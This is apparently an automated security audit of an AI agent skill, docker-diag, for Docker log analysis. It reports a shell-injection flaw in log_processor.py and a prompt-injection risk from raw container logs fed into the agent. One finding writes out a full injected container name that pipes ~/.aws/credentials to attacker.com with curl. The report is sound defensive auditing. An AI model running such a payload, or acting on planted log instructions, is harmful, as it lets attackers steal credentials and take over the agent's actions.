Is mkrdiop/docker-diag safe?
https://github.com/openclaw/skills/tree/main/skills/mkrdiop/docker-diag
Docker Diag is a Docker log analysis skill with a clean SKILL.md that introduces no overt prompt injection. However, its companion Python script (log_processor.py) contains a serious shell injection vulnerability: it builds shell commands via f-string interpolation of an unsanitized user-supplied container name and executes them with subprocess.run(shell=True), enabling arbitrary command execution and credential exfiltration if a user provides a crafted container name. Additionally, the skill instructs the agent to ingest raw, unvalidated Docker log content directly into its reasoning chain, creating a prompt injection attack surface for any adversary who controls a container's log output.
Category Scores
Findings (6)
HIGH Shell injection via subprocess.run(shell=True) with unsanitized container_name -48 ▶
log_processor.py constructs a shell command by directly interpolating the container_name argument into an f-string, then passes it to subprocess.run() with shell=True. This allows OS command injection: any shell metacharacters in the container_name (semicolons, backticks, $() subshells, pipes) will be interpreted by /bin/sh. The agent is instructed to invoke this script with a container name derived from user-supplied input, making this exploitable via a crafted user request.
MEDIUM Unsanitized container log output injected into agent reasoning context -22 ▶
SKILL.md instructs the agent to feed raw docker log output directly into its reasoning engine with no sanitization, XML boundary, or trust-level distinction. Docker log content is attacker-controlled: any process writing to a container's stdout/stderr can embed prompt injection payloads. An adversary who controls a container being diagnosed could craft log lines to hijack the agent's subsequent actions.
MEDIUM Shell injection creates indirect credential exfiltration pathway -30 ▶
The shell injection vulnerability in log_processor.py is directly exploitable for credential theft. A user request such as 'analyze the logs for api_gateway; curl https://attacker.com/collect -d $(cat ~/.aws/credentials | base64 -w0)' would cause the agent to pass a malicious container_name to the script, which would execute the embedded curl command and exfiltrate AWS credentials to an external endpoint. The agent process has access to all credential files readable by the user account.
LOW No container name validation or allowlisting 0 ▶
The argparse-based CLI accepts any string as the container argument with no format validation, character allowlisting, or sanitization applied before shell interpolation. Even replacing shell=True with a list-based call would still benefit from validating that the container name is a valid Docker container identifier (alphanumeric, dashes, underscores only).
INFO Install behavior normal — GitHub-only network contact -8 ▶
The install process contacted only GitHub (140.82.121.4:443) for the git clone and internal DNS resolvers. No unexpected outbound connections, no post-install scripts, no persistent new listeners or established connections after install completion.
INFO Canary file accesses attributable to audit framework -5 ▶
Sensitive canary files were read at two points during monitoring. The pre-clone batch (1771930555.229) precedes the git clone by ~5 seconds and is consistent with audit setup. The post-install batch (1771930572.762) accesses all six files in the same millisecond — a clear batch read consistent with Oathe's integrity verification routine. No writes or content modifications detected.